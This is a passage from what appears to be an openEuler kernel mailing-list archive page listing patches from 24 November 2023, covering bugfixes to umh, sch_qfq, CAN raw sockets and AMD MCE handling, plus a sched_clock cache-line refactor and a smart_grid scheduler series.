hisi_qm_list *qm_list, int qp_num, void hisi_qm_free_qps(struct hisi_qp **qps, int qp_num); void hisi_qm_dev_shutdown(struct pci_dev *pdev); void hisi_qm_wait_task_finish(struct hisi_qm *qm, struct hisi_qm_list *qm_list); -int hisi_qm_alg_register(struct hisi_qm *qm, struct hisi_qm_list *qm_list); -void hisi_qm_alg_unregister(struct hisi_qm *qm, struct hisi_qm_list *qm_list); +int hisi_qm_alg_register(struct hisi_qm *qm, struct hisi_qm_list *qm_list, int guard); +void hisi_qm_alg_unregister(struct hisi_qm *qm, struct hisi_qm_list *qm_list, int guard); int hisi_qm_resume(struct device *dev); int hisi_qm_suspend(struct device *dev); void hisi_qm_pm_uninit(struct hisi_qm *qm); -- 2.30.0

1 0

[PATCH 0/5] crypto: hisilicon - fix the process to obtain capability register value
by Zhiqi Song 24 Nov '23

24 Nov '23

This seires patch modify the process to obtain the value of capablity registers. Pre-store the valid values of them. Wenkai Lin (1): crypto: hisilicon/qm - add a function to set qm algs Zhiqi Song (4): crypto: hisilicon/qm - save capability registers in qm init process crypto: hisilicon/hpre - save capability registers in probe process crypto: hisilicon/sec2 - save capability registers in probe process crypto: hisilicon/zip - save capability registers in probe process drivers/crypto/hisilicon/hpre/hpre_main.c | 122 +++++++++++---------- drivers/crypto/hisilicon/qm.c | 98 +++++++++++++++-- drivers/crypto/hisilicon/sec2/sec.h | 7 ++ drivers/crypto/hisilicon/sec2/sec_crypto.c | 8 +- drivers/crypto/hisilicon/sec2/sec_main.c | 78 ++++++------- drivers/crypto/hisilicon/zip/zip_main.c | 120 +++++++++++--------- include/linux/hisi_acc_qm.h | 20 +++- 7 files changed, 295 insertions(+), 158 deletions(-) -- 2.30.0

1 5

【邀请函】操作系统大会&openEuler Summit 2023
by openEuler 24 Nov '23

24 Nov '23

1 0

[PATCH openEuler-1.0-LTS] umh: fix memory leak on execve failure
by Wenyu Huang 24 Nov '23

24 Nov '23

From: Vincent Minet <v.minet(a)criteo.com> mainline inclusion from mainline-5.10 commit db803036ada7 ("umh: fix memory leak on execve failure") category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8J9MA CVE: NA ------------------------------------------------- If a UMH process created by fork_usermode_blob() fails to execute, a pair of struct file allocated by umh_pipe_setup() will leak. Under normal conditions, the caller (like bpfilter) needs to manage the lifetime of the UMH and its two pipes. But when fork_usermode_blob() fails, the caller doesn't really have a way to know what needs to be done. It seems better to do the cleanup ourselves in this case. Fixes: 449325b52b7a ("umh: introduce fork_usermode_blob() helper") Signed-off-by: Vincent Minet <v.minet(a)criteo.com> Signed-off-by: Jakub Kicinski <kuba(a)kernel.org> Signed-off-by: Wenyu Huang <huangwenyu5(a)huawei.com> --- kernel/umh.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/kernel/umh.c b/kernel/umh.c index 53611efb10cb..715b4368f9ed 100644 --- a/kernel/umh.c +++ b/kernel/umh.c @@ -495,6 +495,12 @@ static void umh_clean_and_save_pid(struct subprocess_info *info) { struct umh_info *umh_info = info->data; + /* cleanup if umh_pipe_setup() was successful but exec failed */ + if (info->pid && info->retval) { + fput(umh_info->pipe_to_umh); + fput(umh_info->pipe_from_umh); + } + argv_free(info->argv); umh_info->pid = info->pid; } -- 2.34.1

2 1

[PATCH OLK-6.6 v2] net: sched: sch_qfq: Use non-work-conserving warning handler
by Zhengchao Shao 24 Nov '23

24 Nov '23

From: Liu Jian <liujian56(a)huawei.com> mainline inclusion from mainline-v6.7-rc1 commit 6d25d1dc76bf5943a5c1f4bb74d66d5eac58eb77 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8J4OL Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- A helper function for printing non-work-conserving alarms is added in commit b00355db3f88 ("pkt_sched: sch_hfsc: sch_htb: Add non-work-conserving warning handler."). In this commit, use qdisc_warn_nonwc() instead of WARN_ONCE() to handle the non-work-conserving warning in qfq Qdisc. Signed-off-by: Liu Jian <liujian56(a)huawei.com> Link: https://lore.kernel.org/r/20231023064729.370649-1-liujian56@huawei.com Signed-off-by: Paolo Abeni <pabeni(a)redhat.com> Signed-off-by: Zhengchao Shao <shaozhengchao(a)huawei.com> --- net/sched/sch_qfq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/net/sched/sch_qfq.c b/net/sched/sch_qfq.c index 546c10adcacd..5598f8be18ae 100644 --- a/net/sched/sch_qfq.c +++ b/net/sched/sch_qfq.c @@ -1003,7 +1003,7 @@ static inline struct sk_buff *qfq_peek_skb(struct qfq_aggregate *agg, *cl = list_first_entry(&agg->active, struct qfq_class, alist); skb = (*cl)->qdisc->ops->peek((*cl)->qdisc); if (skb == NULL) - WARN_ONCE(1, "qfq_dequeue: non-workconserving leaf\n"); + qdisc_warn_nonwc("qfq_dequeue", (*cl)->qdisc); else *len = qdisc_pkt_len(skb); -- 2.34.1

2 1

[PATCH openEuler-1.0-LTS 0/2] Backport crypto bugfix
by Yi Yang 24 Nov '23

24 Nov '23

crypto bugfix and fix kabi broken. Herbert Xu (1): crypto: api - Use work queue in crypto_destroy_instance Yi Yang (1): crypto: fix kabi broken in struct crypto_instance crypto/algapi.c | 29 +++++++++++++++++++++++++++-- include/crypto/algapi.h | 5 +++++ 2 files changed, 32 insertions(+), 2 deletions(-) -- 2.25.1

2 3

[PATCH OLK-5.10 0/2] Backport crypto bugfix
by Yi Yang 24 Nov '23

24 Nov '23

crypto bugfix and fix kabi broken. Herbert Xu (1): crypto: api - Use work queue in crypto_destroy_instance Yi Yang (1): crypto: fix kabi broken in struct crypto_instance crypto/algapi.c | 29 +++++++++++++++++++++++++++-- include/crypto/algapi.h | 6 ++++++ 2 files changed, 33 insertions(+), 2 deletions(-) -- 2.25.1

2 3

[PATCH OLK-5.10] time/sched_clock: Remove clock_read_data's read mostly members
by Zeng Heng 24 Nov '23

24 Nov '23

hulk inclusion category: performance bugzilla: https://gitee.com/openeuler/kernel/issues/I8J8UH -------------------------------- In the clock_read_data structure, the epoch_ns and epoch_cyc members are often updated by the update_sched_clock(). In fact, the sched_clock_mask, read_sched_clock, mult, and shift will no longer change after they are initialized and registered in sched_clock_register(). Because all of them are in the same cache line, especially in multi-core scenarios, this will cause frequent cache miss. Here we move these almostly read-only members into the struct clock_data to avoid false share with epoch_* members, and separate them into different cache line with padding. Here are the detailed test results of unixbench. ./Run -i 3 -c 96 context1 Without Patch ------------------------------------------------------------------------ Pipe-based Context Switching 7423119.7 lps (10.0 s, 2 samples) System Benchmarks Partial Index BASELINE RESULT INDEX Pipe-based Context Switching 4000.0 7423119.7 18557.8 ======== System Benchmarks Index Score (Partial Only) 18557.8 With Patch ------------------------------------------------------------------------ Pipe-based Context Switching 15869071.9 lps (10.0 s, 2 samples) System Benchmarks Partial Index BASELINE RESULT INDEX Pipe-based Context Switching 4000.0 15869071.9 39672.7 ======== System Benchmarks Index Score (Partial Only) 39672.7 Signed-off-by: Zeng Heng <zengheng4(a)huawei.com> --- arch/arm64/kernel/perf_event.c | 12 ++++---- include/linux/sched_clock.h | 42 ++++++++++++++++++++++---- kernel/time/sched_clock.c | 55 ++++++++++------------------------ 3 files changed, 59 insertions(+), 50 deletions(-) diff --git a/arch/arm64/kernel/perf_event.c b/arch/arm64/kernel/perf_event.c index cdb3d4549b3a..4894fb0668fa 100644 --- a/arch/arm64/kernel/perf_event.c +++ b/arch/arm64/kernel/perf_event.c @@ -1255,6 +1255,8 @@ static int __init armv8_pmu_driver_init(void) } device_initcall(armv8_pmu_driver_init) +extern struct clock_data cd; + void arch_perf_update_userpage(struct perf_event *event, struct perf_event_mmap_page *userpg, u64 now) { @@ -1269,21 +1271,21 @@ void arch_perf_update_userpage(struct perf_event *event, do { rd = sched_clock_read_begin(&seq); - if (rd->read_sched_clock != arch_timer_read_counter) + if (cd.read_sched_clock != arch_timer_read_counter) return; - userpg->time_mult = rd->mult; - userpg->time_shift = rd->shift; + userpg->time_mult = cd.mult; + userpg->time_shift = cd.shift; userpg->time_zero = rd->epoch_ns; userpg->time_cycles = rd->epoch_cyc; - userpg->time_mask = rd->sched_clock_mask; + userpg->time_mask = cd.sched_clock_mask; /* * Subtract the cycle base, such that software that * doesn't know about cap_user_time_short still 'works' * assuming no wraps. */ - ns = mul_u64_u32_shr(rd->epoch_cyc, rd->mult, rd->shift); + ns = mul_u64_u32_shr(rd->epoch_cyc, cd.mult, cd.shift); userpg->time_zero -= ns; } while (sched_clock_read_retry(seq)); diff --git a/include/linux/sched_clock.h b/include/linux/sched_clock.h index 835ee87ed792..579b6d02c80c 100644 --- a/include/linux/sched_clock.h +++ b/include/linux/sched_clock.h @@ -11,11 +11,6 @@ * * @epoch_ns: sched_clock() value at last update * @epoch_cyc: Clock cycle value at last update. - * @sched_clock_mask: Bitmask for two's complement subtraction of non 64bit - * clocks. - * @read_sched_clock: Current clock source (or dummy source when suspended). - * @mult: Multiplier for scaled math conversion. - * @shift: Shift value for scaled math conversion. * * Care must be taken when updating this structure; it is read by * some very hot code paths. It occupies <=40 bytes and, when combined @@ -25,10 +20,47 @@ struct clock_read_data { u64 epoch_ns; u64 epoch_cyc; +}; + +/** + * struct clock_data - all data needed for sched_clock() (including + * registration of a new clock source) + * + * @seq: Sequence counter for protecting updates. The lowest + * bit is the index for @read_data. + * @read_data: Data required to read from sched_clock. + * + * @sched_clock_mask: Bitmask for two's complement subtraction of non 64bit + * clocks. + * @read_sched_clock: Current clock source (or dummy source when suspended). + * @mult: Multiplier for scaled math conversion. + * @shift: Shift value for scaled math conversion. + * + * @wrap_kt: Duration for which clock can run before wrapping. + * @rate: Tick rate of the registered clock. + * @actual_read_sched_clock: Registered hardware level clock read function. + * + * The ordering of this structure has been chosen to optimize cache + * performance. In particular 'seq' and 'read_data[0]' (combined) should fit + * into a single 64-byte cache line. + */ +struct clock_data { + seqcount_latch_t seq; + struct clock_read_data read_data[2]; + + struct { + char padding[0]; + } ____cacheline_aligned; + u64 sched_clock_mask; u64 (*read_sched_clock)(void); u32 mult; u32 shift; + + ktime_t wrap_kt; + unsigned long rate; + + u64 (*actual_read_sched_clock)(void); }; extern struct clock_read_data *sched_clock_read_begin(unsigned int *seq); diff --git a/kernel/time/sched_clock.c b/kernel/time/sched_clock.c index b1b9b12899f5..de50a321f835 100644 --- a/kernel/time/sched_clock.c +++ b/kernel/time/sched_clock.c @@ -19,30 +19,6 @@ #include "timekeeping.h" -/** - * struct clock_data - all data needed for sched_clock() (including - * registration of a new clock source) - * - * @seq: Sequence counter for protecting updates. The lowest - * bit is the index for @read_data. - * @read_data: Data required to read from sched_clock. - * @wrap_kt: Duration for which clock can run before wrapping. - * @rate: Tick rate of the registered clock. - * @actual_read_sched_clock: Registered hardware level clock read function. - * - * The ordering of this structure has been chosen to optimize cache - * performance. In particular 'seq' and 'read_data[0]' (combined) should fit - * into a single 64-byte cache line. - */ -struct clock_data { - seqcount_latch_t seq; - struct clock_read_data read_data[2]; - ktime_t wrap_kt; - unsigned long rate; - - u64 (*actual_read_sched_clock)(void); -}; - static struct hrtimer sched_clock_timer; static int irqtime = -1; @@ -57,9 +33,9 @@ static u64 notrace jiffy_sched_clock_read(void) return (u64)(jiffies - INITIAL_JIFFIES); } -static struct clock_data cd ____cacheline_aligned = { - .read_data[0] = { .mult = NSEC_PER_SEC / HZ, - .read_sched_clock = jiffy_sched_clock_read, }, +struct clock_data cd ____cacheline_aligned = { + .mult = NSEC_PER_SEC / HZ, + .read_sched_clock = jiffy_sched_clock_read, .actual_read_sched_clock = jiffy_sched_clock_read, }; @@ -88,9 +64,9 @@ unsigned long long notrace sched_clock(void) do { rd = sched_clock_read_begin(&seq); - cyc = (rd->read_sched_clock() - rd->epoch_cyc) & - rd->sched_clock_mask; - res = rd->epoch_ns + cyc_to_ns(cyc, rd->mult, rd->shift); + cyc = (cd.read_sched_clock() - rd->epoch_cyc) & + cd.sched_clock_mask; + res = rd->epoch_ns + cyc_to_ns(cyc, cd.mult, cd.shift); } while (sched_clock_read_retry(seq)); return res; @@ -133,7 +109,7 @@ static void update_sched_clock(void) rd = cd.read_data[0]; cyc = cd.actual_read_sched_clock(); - ns = rd.epoch_ns + cyc_to_ns((cyc - rd.epoch_cyc) & rd.sched_clock_mask, rd.mult, rd.shift); + ns = rd.epoch_ns + cyc_to_ns((cyc - rd.epoch_cyc) & cd.sched_clock_mask, cd.mult, cd.shift); rd.epoch_ns = ns; rd.epoch_cyc = cyc; @@ -179,13 +155,14 @@ sched_clock_register(u64 (*read)(void), int bits, unsigned long rate) /* Update epoch for new counter and update 'epoch_ns' from old counter*/ new_epoch = read(); cyc = cd.actual_read_sched_clock(); - ns = rd.epoch_ns + cyc_to_ns((cyc - rd.epoch_cyc) & rd.sched_clock_mask, rd.mult, rd.shift); + ns = rd.epoch_ns + cyc_to_ns((cyc - rd.epoch_cyc) & cd.sched_clock_mask, cd.mult, cd.shift); + cd.actual_read_sched_clock = read; + cd.read_sched_clock = read; + cd.sched_clock_mask = new_mask; + cd.mult = new_mult; + cd.shift = new_shift; - rd.read_sched_clock = read; - rd.sched_clock_mask = new_mask; - rd.mult = new_mult; - rd.shift = new_shift; rd.epoch_cyc = new_epoch; rd.epoch_ns = ns; @@ -265,11 +242,9 @@ static u64 notrace suspended_sched_clock_read(void) int sched_clock_suspend(void) { - struct clock_read_data *rd = &cd.read_data[0]; - update_sched_clock(); hrtimer_cancel(&sched_clock_timer); - rd->read_sched_clock = suspended_sched_clock_read; + cd.read_sched_clock = suspended_sched_clock_read; return 0; } @@ -280,7 +255,7 @@ void sched_clock_resume(void) rd->epoch_cyc = cd.actual_read_sched_clock(); hrtimer_start(&sched_clock_timer, cd.wrap_kt, HRTIMER_MODE_REL_HARD); - rd->read_sched_clock = cd.actual_read_sched_clock; + cd.read_sched_clock = cd.actual_read_sched_clock; } static struct syscore_ops sched_clock_ops = { -- 2.25.1

2 1

[PATCH OLK-5.10] time/sched_clock: Remove clock_read_data's read mostly members
by Zeng Heng 24 Nov '23

24 Nov '23

In the clock_read_data structure, the epoch_ns and epoch_cyc members are often updated by the update_sched_clock(). In fact, the sched_clock_mask, read_sched_clock, mult, and shift will no longer change after they are initialized and registered in sched_clock_register(). Because all of them are in the same cache line, especially in multi-core scenarios, this will cause frequent cache miss. Here we move these almostly read-only members into the struct clock_data to avoid false share with epoch_* members, and separate them into different cache line with padding. Here are the detailed test results of unixbench. ./Run -i 3 -c 96 context1 Without Patch ------------------------------------------------------------------------ Pipe-based Context Switching 7423119.7 lps (10.0 s, 2 samples) System Benchmarks Partial Index BASELINE RESULT INDEX Pipe-based Context Switching 4000.0 7423119.7 18557.8 ======== System Benchmarks Index Score (Partial Only) 18557.8 With Patch ------------------------------------------------------------------------ Pipe-based Context Switching 15869071.9 lps (10.0 s, 2 samples) System Benchmarks Partial Index BASELINE RESULT INDEX Pipe-based Context Switching 4000.0 15869071.9 39672.7 ======== System Benchmarks Index Score (Partial Only) 39672.7 Signed-off-by: Zeng Heng <zengheng4(a)huawei.com> --- arch/arm64/kernel/perf_event.c | 12 ++++---- include/linux/sched_clock.h | 42 ++++++++++++++++++++++---- kernel/time/sched_clock.c | 55 ++++++++++------------------------ 3 files changed, 59 insertions(+), 50 deletions(-) diff --git a/arch/arm64/kernel/perf_event.c b/arch/arm64/kernel/perf_event.c index cdb3d4549b3a..4894fb0668fa 100644 --- a/arch/arm64/kernel/perf_event.c +++ b/arch/arm64/kernel/perf_event.c @@ -1255,6 +1255,8 @@ static int __init armv8_pmu_driver_init(void) } device_initcall(armv8_pmu_driver_init) +extern struct clock_data cd; + void arch_perf_update_userpage(struct perf_event *event, struct perf_event_mmap_page *userpg, u64 now) { @@ -1269,21 +1271,21 @@ void arch_perf_update_userpage(struct perf_event *event, do { rd = sched_clock_read_begin(&seq); - if (rd->read_sched_clock != arch_timer_read_counter) + if (cd.read_sched_clock != arch_timer_read_counter) return; - userpg->time_mult = rd->mult; - userpg->time_shift = rd->shift; + userpg->time_mult = cd.mult; + userpg->time_shift = cd.shift; userpg->time_zero = rd->epoch_ns; userpg->time_cycles = rd->epoch_cyc; - userpg->time_mask = rd->sched_clock_mask; + userpg->time_mask = cd.sched_clock_mask; /* * Subtract the cycle base, such that software that * doesn't know about cap_user_time_short still 'works' * assuming no wraps. */ - ns = mul_u64_u32_shr(rd->epoch_cyc, rd->mult, rd->shift); + ns = mul_u64_u32_shr(rd->epoch_cyc, cd.mult, cd.shift); userpg->time_zero -= ns; } while (sched_clock_read_retry(seq)); diff --git a/include/linux/sched_clock.h b/include/linux/sched_clock.h index 835ee87ed792..579b6d02c80c 100644 --- a/include/linux/sched_clock.h +++ b/include/linux/sched_clock.h @@ -11,11 +11,6 @@ * * @epoch_ns: sched_clock() value at last update * @epoch_cyc: Clock cycle value at last update. - * @sched_clock_mask: Bitmask for two's complement subtraction of non 64bit - * clocks. - * @read_sched_clock: Current clock source (or dummy source when suspended). - * @mult: Multiplier for scaled math conversion. - * @shift: Shift value for scaled math conversion. * * Care must be taken when updating this structure; it is read by * some very hot code paths. It occupies <=40 bytes and, when combined @@ -25,10 +20,47 @@ struct clock_read_data { u64 epoch_ns; u64 epoch_cyc; +}; + +/** + * struct clock_data - all data needed for sched_clock() (including + * registration of a new clock source) + * + * @seq: Sequence counter for protecting updates. The lowest + * bit is the index for @read_data. + * @read_data: Data required to read from sched_clock. + * + * @sched_clock_mask: Bitmask for two's complement subtraction of non 64bit + * clocks. + * @read_sched_clock: Current clock source (or dummy source when suspended). + * @mult: Multiplier for scaled math conversion. + * @shift: Shift value for scaled math conversion. + * + * @wrap_kt: Duration for which clock can run before wrapping. + * @rate: Tick rate of the registered clock. + * @actual_read_sched_clock: Registered hardware level clock read function. + * + * The ordering of this structure has been chosen to optimize cache + * performance. In particular 'seq' and 'read_data[0]' (combined) should fit + * into a single 64-byte cache line. + */ +struct clock_data { + seqcount_latch_t seq; + struct clock_read_data read_data[2]; + + struct { + char padding[0]; + } ____cacheline_aligned; + u64 sched_clock_mask; u64 (*read_sched_clock)(void); u32 mult; u32 shift; + + ktime_t wrap_kt; + unsigned long rate; + + u64 (*actual_read_sched_clock)(void); }; extern struct clock_read_data *sched_clock_read_begin(unsigned int *seq); diff --git a/kernel/time/sched_clock.c b/kernel/time/sched_clock.c index b1b9b12899f5..de50a321f835 100644 --- a/kernel/time/sched_clock.c +++ b/kernel/time/sched_clock.c @@ -19,30 +19,6 @@ #include "timekeeping.h" -/** - * struct clock_data - all data needed for sched_clock() (including - * registration of a new clock source) - * - * @seq: Sequence counter for protecting updates. The lowest - * bit is the index for @read_data. - * @read_data: Data required to read from sched_clock. - * @wrap_kt: Duration for which clock can run before wrapping. - * @rate: Tick rate of the registered clock. - * @actual_read_sched_clock: Registered hardware level clock read function. - * - * The ordering of this structure has been chosen to optimize cache - * performance. In particular 'seq' and 'read_data[0]' (combined) should fit - * into a single 64-byte cache line. - */ -struct clock_data { - seqcount_latch_t seq; - struct clock_read_data read_data[2]; - ktime_t wrap_kt; - unsigned long rate; - - u64 (*actual_read_sched_clock)(void); -}; - static struct hrtimer sched_clock_timer; static int irqtime = -1; @@ -57,9 +33,9 @@ static u64 notrace jiffy_sched_clock_read(void) return (u64)(jiffies - INITIAL_JIFFIES); } -static struct clock_data cd ____cacheline_aligned = { - .read_data[0] = { .mult = NSEC_PER_SEC / HZ, - .read_sched_clock = jiffy_sched_clock_read, }, +struct clock_data cd ____cacheline_aligned = { + .mult = NSEC_PER_SEC / HZ, + .read_sched_clock = jiffy_sched_clock_read, .actual_read_sched_clock = jiffy_sched_clock_read, }; @@ -88,9 +64,9 @@ unsigned long long notrace sched_clock(void) do { rd = sched_clock_read_begin(&seq); - cyc = (rd->read_sched_clock() - rd->epoch_cyc) & - rd->sched_clock_mask; - res = rd->epoch_ns + cyc_to_ns(cyc, rd->mult, rd->shift); + cyc = (cd.read_sched_clock() - rd->epoch_cyc) & + cd.sched_clock_mask; + res = rd->epoch_ns + cyc_to_ns(cyc, cd.mult, cd.shift); } while (sched_clock_read_retry(seq)); return res; @@ -133,7 +109,7 @@ static void update_sched_clock(void) rd = cd.read_data[0]; cyc = cd.actual_read_sched_clock(); - ns = rd.epoch_ns + cyc_to_ns((cyc - rd.epoch_cyc) & rd.sched_clock_mask, rd.mult, rd.shift); + ns = rd.epoch_ns + cyc_to_ns((cyc - rd.epoch_cyc) & cd.sched_clock_mask, cd.mult, cd.shift); rd.epoch_ns = ns; rd.epoch_cyc = cyc; @@ -179,13 +155,14 @@ sched_clock_register(u64 (*read)(void), int bits, unsigned long rate) /* Update epoch for new counter and update 'epoch_ns' from old counter*/ new_epoch = read(); cyc = cd.actual_read_sched_clock(); - ns = rd.epoch_ns + cyc_to_ns((cyc - rd.epoch_cyc) & rd.sched_clock_mask, rd.mult, rd.shift); + ns = rd.epoch_ns + cyc_to_ns((cyc - rd.epoch_cyc) & cd.sched_clock_mask, cd.mult, cd.shift); + cd.actual_read_sched_clock = read; + cd.read_sched_clock = read; + cd.sched_clock_mask = new_mask; + cd.mult = new_mult; + cd.shift = new_shift; - rd.read_sched_clock = read; - rd.sched_clock_mask = new_mask; - rd.mult = new_mult; - rd.shift = new_shift; rd.epoch_cyc = new_epoch; rd.epoch_ns = ns; @@ -265,11 +242,9 @@ static u64 notrace suspended_sched_clock_read(void) int sched_clock_suspend(void) { - struct clock_read_data *rd = &cd.read_data[0]; - update_sched_clock(); hrtimer_cancel(&sched_clock_timer); - rd->read_sched_clock = suspended_sched_clock_read; + cd.read_sched_clock = suspended_sched_clock_read; return 0; } @@ -280,7 +255,7 @@ void sched_clock_resume(void) rd->epoch_cyc = cd.actual_read_sched_clock(); hrtimer_start(&sched_clock_timer, cd.wrap_kt, HRTIMER_MODE_REL_HARD); - rd->read_sched_clock = cd.actual_read_sched_clock; + cd.read_sched_clock = cd.actual_read_sched_clock; } static struct syscore_ops sched_clock_ops = { -- 2.25.1

2 1

[PATCH OLK-5.10 0/3] can: raw: fix memory leak
by Ziyang Xuan 24 Nov '23

24 Nov '23

Patchset for memory leak fix. Eric Dumazet (1): can: raw: fix lockdep issue in raw_release() Oliver Hartkopp (1): can: raw: add missing refcount for memory leak fix Ziyang Xuan (1): can: raw: fix receiver memory leak net/can/raw.c | 80 +++++++++++++++++++++++++++------------------------ 1 file changed, 42 insertions(+), 38 deletions(-) -- 2.25.1

2 4

[PATCH openEuler-1.0-LTS 0/4] Add script to check & update openeuler_defconfig
by Zhang Changzhong 24 Nov '23

24 Nov '23

Masahiro Yamada (1): kbuild: ensure full rebuild when the compiler is updated Xie XiuQi (1): kconfig: Add script to check & update openeuler_defconfig Zhang Changzhong (2): config: update openeuler_defconfig for x86 config: update openeuler_defconfig for arm64 Kconfig | 2 - arch/arm64/configs/openeuler_defconfig | 191 +++++++++++++++++-------- arch/x86/configs/openeuler_defconfig | 135 ++++++++--------- include/linux/kconfig.h | 2 + init/Kconfig | 17 +++ scripts/kconfig/Makefile | 22 +++ scripts/kconfig/makeconfig.sh | 24 ++++ 7 files changed, 264 insertions(+), 129 deletions(-) create mode 100644 scripts/kconfig/makeconfig.sh -- 2.34.1

2 5

[PATCH openEuler-1.0-LTS] x86/MCE/AMD: Clear DFR errors found in THR handler
by liwei 24 Nov '23

24 Nov '23

From: Yazen Ghannam <yazen.ghannam(a)amd.com> mainline inclusion from mainline-v6.2-rc1 commit bc1b705b0eee4c645ad8b3bbff3c8a66e9688362 category: bugfix bugzilla: 189379 CVE: NA Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… --------------------------- AMD's MCA Thresholding feature counts errors of all severity levels, not just correctable errors. If a deferred error causes the threshold limit to be reached (it was the error that caused the overflow), then both a deferred error interrupt and a thresholding interrupt will be triggered. The order of the interrupts is not guaranteed. If the threshold interrupt handler is executed first, then it will clear MCA_STATUS for the error. It will not check or clear MCA_DESTAT which also holds a copy of the deferred error. When the deferred error interrupt handler runs it will not find an error in MCA_STATUS, but it will find the error in MCA_DESTAT. This will cause two errors to be logged. Check for deferred errors when handling a threshold interrupt. If a bank contains a deferred error, then clear the bank's MCA_DESTAT register. Define a new helper function to do the deferred error check and clearing of MCA_DESTAT. [ bp: Simplify, convert comment to passive voice. ] Fixes: 37d43acfd79f ("x86/mce/AMD: Redo error logging from APIC LVT interrupt handlers") Signed-off-by: Yazen Ghannam <yazen.ghannam(a)amd.com> Signed-off-by: Borislav Petkov <bp(a)suse.de> Cc: stable(a)vger.kernel.org Link: https://lore.kernel.org/r/20220621155943.33623-1-yazen.ghannam@amd.com Conflicts: arch/x86/kernel/cpu/mce/amd.c Signed-off-by: liwei <liwei728(a)huawei.com> --- arch/x86/kernel/cpu/mce/amd.c | 33 ++++++++++++++++++++------------- 1 file changed, 20 insertions(+), 13 deletions(-) diff --git a/arch/x86/kernel/cpu/mce/amd.c b/arch/x86/kernel/cpu/mce/amd.c index 38b18fa055ef..5af882dbd979 100644 --- a/arch/x86/kernel/cpu/mce/amd.c +++ b/arch/x86/kernel/cpu/mce/amd.c @@ -941,6 +941,24 @@ _log_error_bank(unsigned int bank, u32 msr_stat, u32 msr_addr, u64 misc) return status & MCI_STATUS_DEFERRED; } +static bool _log_error_deferred(unsigned int bank, u32 misc) +{ + if (!_log_error_bank(bank, mca_msr_reg(bank, MCA_STATUS), + mca_msr_reg(bank, MCA_ADDR), misc)) + return false; + + /* + * Non-SMCA systems don't have MCA_DESTAT/MCA_DEADDR registers. + * Return true here to avoid accessing these registers. + */ + if (!mce_flags.smca) + return true; + + /* Clear MCA_DESTAT if the deferred error was logged from MCA_STATUS. */ + wrmsrl(MSR_AMD64_SMCA_MCx_DESTAT(bank), 0); + return true; +} + /* * We have three scenarios for checking for Deferred errors: * @@ -952,19 +970,8 @@ _log_error_bank(unsigned int bank, u32 msr_stat, u32 msr_addr, u64 misc) */ static void log_error_deferred(unsigned int bank) { - bool defrd; - - defrd = _log_error_bank(bank, msr_ops.status(bank), - msr_ops.addr(bank), 0); - - if (!mce_flags.smca) - return; - - /* Clear MCA_DESTAT if we logged the deferred error from MCA_STATUS. */ - if (defrd) { - wrmsrl(MSR_AMD64_SMCA_MCx_DESTAT(bank), 0); + if (_log_error_deferred(bank, 0)) return; - } /* * Only deferred errors are logged in MCA_DE{STAT,ADDR} so just check @@ -985,7 +992,7 @@ static void amd_deferred_error_interrupt(void) static void log_error_thresholding(unsigned int bank, u64 misc) { - _log_error_bank(bank, msr_ops.status(bank), msr_ops.addr(bank), misc); + _log_error_deferred(bank, misc); } static void log_and_reset_block(struct threshold_block *block) -- 2.25.1

2 1

[PATCH OLK-5.10 v6 00/20] introduce smart_grid zone
by Yipeng Zou 24 Nov '23

24 Nov '23

The patch sets include two parts: 1. patch 1~15,20: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v5: 1. Fix race condition in smart_grid_governor_enable. 2. Fix race condition in stop_auto_affinity. 3. Fix some str to int input in smart_grid_level_write. Since v4: 1. Place the highest level task in current domain level itself in sched_grid_prefer_cpus Since v3: 1. fix CI warning Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (5): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control sched: smart grid: cancel affinity timer in lock free arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 232 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 78 ++++ include/linux/cpufreq.h | 11 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/fair.c | 506 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 273 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 21 files changed, 1611 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 21

[PATCH OLK-6.6] net: sched: sch_qfq: Use non-work-conserving warning handler
by Zhengchao Shao 24 Nov '23

24 Nov '23

